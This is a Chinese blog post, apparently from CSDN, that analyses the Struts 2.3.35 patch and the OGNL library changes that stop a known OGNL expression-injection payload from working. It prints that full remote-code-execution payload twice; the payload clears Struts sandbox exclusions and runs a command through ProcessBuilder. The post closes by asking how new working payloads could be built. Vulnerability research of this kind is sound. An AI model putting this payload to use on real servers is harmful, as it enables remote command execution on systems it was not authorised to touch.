OGNL表达式注入漏洞要成为过去了吗?

起因

Struts2今年来爆出一系列安全漏洞,以至于在官方release页面,还专门罗列了各个版本对应的CVE漏洞,也算是一大奇观。
![struts_release](https://img-blog.csdn.net/20180716180339458?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTMyMjQxODk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)

漏洞频发的struts2虽然饱受诟病,但因为其自身优秀、灵活的能力,仍有大量企业和开发人员使用它,黑客和安全研究人员也趋之若鹜,一旦有官方有版本更新或补丁,便立即冲上前,反复寻找各种可能被利用的漏洞。
2018-07-12,struts突然发布了新的版本(Struts_2_3_35),老大叫我看看官方升级的原因,于是有了下面这个文章(疑问)

版本对比分析

本次升级的版本为:Struts_2_3_35,前一个版本的发布日期还是 2017年9月份,相隔差不多10个月,赶紧把两个版本撸到本地,同事在github上对比两个版本之间的差异。

主要的差异如下:
1、当存在namespace时,避免解析namespace
(Avoids parsing namespace when using existing namespace)
2、升级freemarker(从2.3.22 升级到 2.3.28)
(Upgrades freemarker)
3、其他的一些更新

大致看了下, 官方说是避免解析namespace,实际上都是在if(namespace==null)前面加了一句 parseLocation = false;
而这样的做法实际上是在StrutsResultSupport.java文件调用conditionalParse方法前,加了一层保护。
变更如下:

     public void execute(ActionInvocation invocation) throws Exception {
-        lastFinalLocation = conditionalParse(location, invocation); //变更前的代码
+        lastFinalLocation = parseLocation ? conditionalParse(location, invocation) : location; //变更后的代码
         doExecute(lastFinalLocation, invocation);
     }

可以看出,变更后的代码相当于在执行conditionalParse方法前,判断parseLocation这个flag,而我们将parseLocation设置为false后,不会执行conditionalParse方法。

跟入conditionalParse方法

    protected String conditionalParse(String param, ActionInvocation invocation) {
        if (parse && param != null && invocation != null) {
            return TextParseUtil.translateVariables(
                param, 
                invocation.getStack(),
                new EncodingParsedValueEvaluator());
        } else {
            return param;
        }
    }

可以看出,参数para也就是我们前面传过来的location,会传入TextParseUtil.translateVariables方法,做OGNL表达式计算。

而研究官方修复的几个文件,发现他们设置parseLocation = false;的目的都是避免应用程序进入到StrutsResultSupport.java文件调用conditionalParse方法,解析location变量。

所以重点来研究下StrutsResultSupport.java文件,代码量不多,先看文件前面的注释


 * 是所有Struts Action执行结果的基类

 * location是默认的参数(诶,看起来有戏)

 * 这个类为所有子类提供两个通用的参数

 * location 是执行后要跳转的地方(可以是jsp页面或者其他的action)
 * 
 * parse 默认为true, 如果设置为false, location将不会被当做表达式解析
 * 
 * encode 默认为false, 如果设置为false,location参数将不会被url编码,只有当parse设置为true时,才会有效

示例

* In the struts.xml configuration file, these would be included as:
* 在struts.xml配置问文件中,可以这样引入

<result name="success" type="redirect">
    <param name="<b>location</b>">foo.jsp</param>
</result>

 或者
 <result name="success" type="redirect" >
     <param name="<b>location</b>"> foo.jsp?url=${myUrl} </param>
     <param name="<b>parse</b>"> true </param>
     <param name="<b>encode</b>">true</param>
</result>


如果需要定制化result,可以在struts.xml文件中这样定义:
<result-types>
       ...
 <result-type name="myresult" class="com.foo.MyResult" >

</result-types>

注释里面说得比较清楚,这个类是所有Struts Action执行结果的基类,location是默认的参数,代表action执行完,程序要转向的地址或其他的action。示例中location参数代表程序会计算myUrl的值,并根据action执行结果,跳转到相应的地址。

利用方式比较苛刻,需要用户自行在Struts里面引入StrutsResultSupport或它的子类,并将location参数按照示例中的方式设置。

都已经在这里了,干脆就继续分析下。 正好StrutsResutSupport有对应的测试用例StrutsResultSupportTest,它的testParse正好就用来测试应用程序能否正常解析location表达式,于是修改了下location里面的值,将myLocation改成了我们测试用的payloads

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds="calc.exe").(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

意料之中,并没有弹出我想要的计算器。
难道是payloads的问题?作为一个小白,对我来说如此复杂的payloads肯定是直接从网上下载来的,于是从网上下载了几个payloads,一一对比,发现并不是payloads的问题!

肯定是哪里不对!

于是小白又使用蹩脚的技术打断点调试,换版本、换payloads、对比版本差异,终于…..给自己整出一大堆待学习、待解决的问题。

payloads无效的原因

经过层层对比,发现是由于OGNL版本更新了, STRUTS_2_3_35中,OGNL的版本为3.0.21,而STRUTS_2_3_33中,OGNL的表达式是3.0.19,对比OGNL的两个版本,发现有如下差异:

OGNL.java文件

OGNLContext.java文件

这里写图片描述

代码太多,没有贴全,但总的来说,就是就是删除了CONTEXT_CONTEXT_KEY(context)和CLASS_RESOLVER_CONTEXT_KEY(_classResolver)以及对应的方法,
根据方法名可以大致的判断,应用程序可以根据CONTEXT_CONTEXT_KEY获取一个类的实例

结合payloads以及调试过程中出现的错误提示,总算搞清楚了payloads以及前面代码的意思

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[“com.opensymphony.xwork2.ActionContext.container”]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds=”calc.exe”).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

OGNL表达式以及他们的计算方式我这里就不做介绍(献丑)了,结合payloads,我猜测,它应该是这样一个工作流程。

因为OGNL语法的特殊关系,payloads看起来有些复杂,结合源代码,我们可以把它分解下,它主要是为了实现以下目的:

这里写图片描述

至此,payloads分析完毕,我们也可以理解为什么OGNL会禁止Contex字段以及通过删除CONTEXT_CONTEXT_KEY(context)来避免恶意用户构造生成com.opensymphony.xwork2.ognl.OgnlUtil实例,从而执行clear()方法,绕过安全限制。

问题

按照目前的情况,此前网上流传的payloads应该都无法利用了,OGNL禁止通过#context[“com.opensymphony.xwork2.ActionContext.container”]获取值,在此种限制下,我们该如果构造能够有效利用的payloads?难道OGNL表达式注入漏洞成为“过去”了吗

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值